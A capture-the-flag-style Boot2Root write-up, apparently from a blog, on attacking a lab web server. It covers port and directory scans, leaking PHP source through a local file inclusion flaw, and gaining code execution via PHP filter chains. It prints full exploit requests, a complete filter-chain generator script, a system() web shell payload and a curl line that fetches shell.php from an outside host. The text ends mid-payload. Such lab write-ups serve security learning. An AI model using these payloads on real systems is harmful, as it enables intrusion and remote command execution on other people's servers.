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Offensive Security Lab Japan
2023.10.29

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Introduce

I’m new to trying Boot2Root and was provided with a vulnerable machine, but it’s mixed in with my home network and I haven’t been able to come up with a solution for accessing the machine.

When I received support, I needed to assign a static IP address to the virtual machine and separate LAN segments to configure a closed network.

Overview

I set up the virtual machine in question and confirmed that it was configured with Ubuntu.

At this point, I also found out that User is “offsec”.

Nmap Scan

I first scanned it normally with nmap.

$ nmap -sCV -p- --min-rate 5000 192.168.1.4
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:13:8f:f9:14:25:37:5c:e5:b8:5d:45:4a:bb:35:94 (ECDSA)
|_ 256 ac:96:18:49:40:5e:f6:9f:54:b2:6a:13:54:58:37:3c (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
Bash

Among these, the target that could be considered for an attack is Apache running on Port 80.

Web – Port 80

The website was very simple.

If we select APT10 or APT28 from the list, the value will be passed to include.php and the page will be displayed.

I did a simple enumeration, but didn’t get anything special.

$ gobuster dir -u http://192.168.1.4 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x .php -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.4
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 276]
/index.php (Status: 200) [Size: 505]
/include.php (Status: 200) [Size: 505]
/.php (Status: 403) [Size: 276]
/server-status (Status: 403) [Size: 276]
Progress: 415286 / 415288 (100.00%)
===============================================================
Finished
===============================================================
Bash

It was easy to imagine that the file was included internally from the file name include.php and the parameter page that displayed the passed parameters.

I first needed to see if there was a basic LFI vulnerability, so I tried reading /etc/passwd.

It is widely known that SecLists’ LFI-Jhaddix.txt is effective for enumeration using LFI’s Intruder.

SecLists/Fuzzing/LFI /LFI-Jhaddix.txt

This challenge didn’t go well and I got nothing.

Since I was convinced that file inclusion existed, I decided to try other methods.

I tried LFI using wrappers to see if it worked.

PayloadsAllTheThings/File Inclusion /README.md

Send a request by specifying “php://filter/read=convert.base64-encode/resource=index” in the page parameter.

Request:

GET /include.php?page=php://filter/read=convert.base64-encode/resource=index&Submit=Submit HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.4/
Connection: close
Upgrade-Insecure-Requests: 1
HTTP

As a result, the source code of index.php was successfully leaked.

Response:

HTTP/1.1 200 OK
Date: Sat, 28 Oct 2023 18:51:21 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 676
Connection: close
Content-Type: text/html; charset=UTF-8

PHA+U2VsZWN0IHRoZSBuYW1lIG9mIEFkdmFuY2VkIFBlcnNpc3RlbnQgVGhyZWF0IChBUFQpIEdyb3VwcyAuLi48L3A+CjxjZW50ZXI+CjxiciAvPjxiciAvPgo8Zm9ybSBpZD0iZm9ybTEiIG5hbWU9ImZvcm0xIiBtZXRob2Q9ImdldCIgYWN0aW9uPSJpbmNsdWRlLnBocCI+CjxjZW50ZXI+Cjx0cj4KPHRkPgogIDxzZWxlY3QgbmFtZT0icGFnZSI+CiAgICAgIDxvcHRpb24gdmFsdWU9IkFQVDEwIj4gQVBUMTAgPC9vcHRpb24+CiAgICAgIDxvcHRpb24gdmFsdWU9IkFQVDI4Ij4gQVBUMjggPC9vcHRpb24+CiAgIDwvc2VsZWN0Pgo8L3RkPgo8L3RyPgo8dHIgc3R5bGU9ImhlaWdodDoxMHB4OyI+PC90cj4KPHRyIHN0eWxlPSJ3aWR0aDoxMDBweDsgdmVydGljYWwtYWxpZ246dG9wOyI+PHRkPjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJTdWJtaXQiIHZhbHVlPSJTdWJtaXQiIC8+PC90ZD4KPC90cj4KPC90YWJsZT4KPC9jZW50ZXI+CjwvZm9ybT4KPC9jZW50ZXI+Cg==
HTTP

Decrypt base64.

$ echo PHA+U2VsZWN0IHRoZSBuYW1lIG9mIEFkdmFuY2VkIFBlcnNpc3RlbnQgVGhyZWF0IChBUFQpIEdyb3VwcyAuLi48L3A+CjxjZW50ZXI+CjxiciAvPjxiciAvPgo8Zm9ybSBpZD0iZm9ybTEiIG5hbWU9ImZvcm0xIiBtZXRob2Q9ImdldCIgYWN0aW9uPSJpbmNsdWRlLnBocCI+CjxjZW50ZXI+Cjx0cj4KPHRkPgogIDxzZWxlY3QgbmFtZT0icGFnZSI+CiAgICAgIDxvcHRpb24gdmFsdWU9IkFQVDEwIj4gQVBUMTAgPC9vcHRpb24+CiAgICAgIDxvcHRpb24gdmFsdWU9IkFQVDI4Ij4gQVBUMjggPC9vcHRpb24+CiAgIDwvc2VsZWN0Pgo8L3RkPgo8L3RyPgo8dHIgc3R5bGU9ImhlaWdodDoxMHB4OyI+PC90cj4KPHRyIHN0eWxlPSJ3aWR0aDoxMDBweDsgdmVydGljYWwtYWxpZ246dG9wOyI+PHRkPjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJTdWJtaXQiIHZhbHVlPSJTdWJtaXQiIC8+PC90ZD4KPC90cj4KPC90YWJsZT4KPC9jZW50ZXI+CjwvZm9ybT4KPC9jZW50ZXI+Cg== | base64 -d
<p>Select the name of Advanced Persistent Threat (APT) Groups ...</p>
<center>
<br /><br />
<form id="form1" name="form1" method="get" action="include.php">
<center>
<tr>
<td>
<select name="page">
<option value="APT10"> APT10 </option>
<option value="APT28"> APT28 </option>
</select>
</td>
</tr>
<tr style="height:10px;"></tr>
<tr style="width:100px; vertical-align:top;"><td></td>
<td><input type="submit" name="Submit" value="Submit" /></td>
</tr>
</table>
</center>
</form>
</center>
Bash

Leak the include.php source code in the same way.

Request:

GET /include.php?page=php://filter/read=convert.base64-encode/resource=include&Submit=Submit HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.4/
Connection: close
Upgrade-Insecure-Requests: 1
HTTP

Response:

HTTP/1.1 200 OK
Date: Sat, 28 Oct 2023 18:55:21 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 184
Connection: close
Content-Type: text/html; charset=UTF-8

PD9waHAgaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pICkKICAgICAgICAkcGFnZSA9ICRfR0VUWydwYWdlJ10uIi5waHAiOwogICAgICBlbHNlIAogICAgICAgICRwYWdlID0gImluZGV4LnBocCI7CiAgICAgIGluY2x1ZGUoJHBhZ2UpOwo/Pgo=
HTTP

Decrypt base64. When I checked the resulting source code, I found that “.php” was added to the value received in the page parameter. Therefore, it seems that /etc/passwd etc. could not be leaked with simple LFI.

$ echo PD9waHAgaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pICkKICAgICAgICAkcGFnZSA9ICRfR0VUWydwYWdlJ10uIi5waHAiOwogICAgICBlbHNlIAogICAgICAgICRwYWdlID0gImluZGV4LnBocCI7CiAgICAgIGluY2x1ZGUoJHBhZ2UpOwo/Pgo= | base64 -d
<?php if (isset($_GET['page']) )
$page = $_GET['page'].".php";
else
$page = "index.php";
include($page);
?>
Bash

I am writing this article the day after I solved the problem, so I don’t know the source of the reference, but I probably used almost the same source code as reference when creating the problem, and explained the vulnerability. I saw an article about it.

Anyway, we managed to leak the source. What we need to think about next is not only source code leaks, but also whether this vulnerability can be used to execute arbitrary commands.

User – www-data

In this scenario, a possible solution for arbitrary command execution is to specify “expect://{command}” in the page parameter. Alternatively, experimenting with options such as specifying “php://input&cmd={command}” in the page parameter for a POST request with a body like “<?php system($_REQUEST[‘cmd’]);?>” is crucial for making it work.

Local File Inclusion (LFI) — Web Application Penetration Testing
The definitive guide for LFI vulnerability security testing for bug hunting & penetration testing engagements.

But all these attempts did not work.

There is also a known method to execute the command with “php://filter/read=convert.base64-encode/resource=expect://curl$IFS’http://192.168.1.100/shell.php’$IFS-O$IFS/var/www/html/shell.php”, but unfortunately it did not work.

I tried uploading shell.php using the curl command, but there was no request from the server. I think this is either www-data doesn’t have a curl command or expect doesn’t work.

While searching for a solution, I came across an article.

PHP filters chain: What is it and how to use it
Searching for new gadget chains to exploit deserialization vulnerabilities can be tedious.

I won’t go into the summary because it’s written in this article, but it describes how to perform a small-scale brute force attack to create a php filler chain and execute arbitrary PHP code.

I tried sending a php filter chain payload that executes <?php phpinfo(); ?> that was described as a sample, but it worked and phpinfo was displayed.

GET /include.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&Submit=Submit HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.4/
Connection: close
Upgrade-Insecure-Requests: 1
Plaintext

It seems possible to execute arbitrary code by generating a php filiter chain with <?php system($_REQUEST[“cmd”]);?> as the payload.

This method is also explained on HackTricks.

LFI2RCE via PHP Filters – HackTricks
$convs = array(’437′, ‘500’, ‘500V1’, ‘850’, ‘851’, ‘852’, ‘855’, ‘856’, ‘857’, ‘858’, ‘860’, ‘861’, ‘862’, ‘863’, ‘864’, ‘865’, ‘866’, ‘866NAV’, ‘869’, ‘874’, ‘904’, ‘1026’, ‘1046’, ‘1047’, ‘8859_1’, ‘8859_2’, ‘8859_3’, ‘8859_4’, ‘8859_5’, ‘8859_6’, ‘8859_7’, ‘8859_8’, ‘8859_9’, ‘10646-1:1993’, ’10…

This writeup explains that we can use php filters to generate arbitrary content as output. Which basically means that we can generate arbitrary php code for the include without needing to write it into a file.

Solving “includer’s revenge” from hxp ctf 2021 without controlling any files
Solving “includer’s revenge” from hxp ctf 2021 without controlling any files – writeup.md

Just running the script that was on HackTricks didn’t work. However, when I used the tool “php_filter_chain_generator” introduced on HackTricks, it worked.

GitHub – synacktiv/php_filter_chain_generator
Contribute to synacktiv/php_filter_chain_generator development by creating an account on GitHub.

php_filter_chain_generator.py

#!/usr/bin/env python3
import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

def main():

    # Parsing command line arguments
    parser = argparse.ArgumentParser(description="PHP filter chain generator.")

    parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
    parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
    args = parser.parse_args()
    if args.chain is not None:
        chain = args.chain.encode('utf-8')
        base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
        chain = generate_filter_chain(base64_value)
        print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
        print(chain)
    if args.rawbase64 is not None:
        rawbase64 = args.rawbase64.replace("=", "")
        match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
        if (match):
            chain = generate_filter_chain(rawbase64, True)
            print(chain)
        else:
            print ("[-] Base64 string required.")
            exit(1)

if __name__ == "__main__":
    main()
Python

Use the tool to create a php filter chain with <?php system($_REQUEST[“cmd”]);?> as payload.

$ python3 php_filter_chain_generator.py --chain '<?php system($_REQUEST["cmd"]);?>'
[+] The following gadget chain will generate the following code : <?php system($_REQUEST["cmd"]);?> (base64 value: PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-9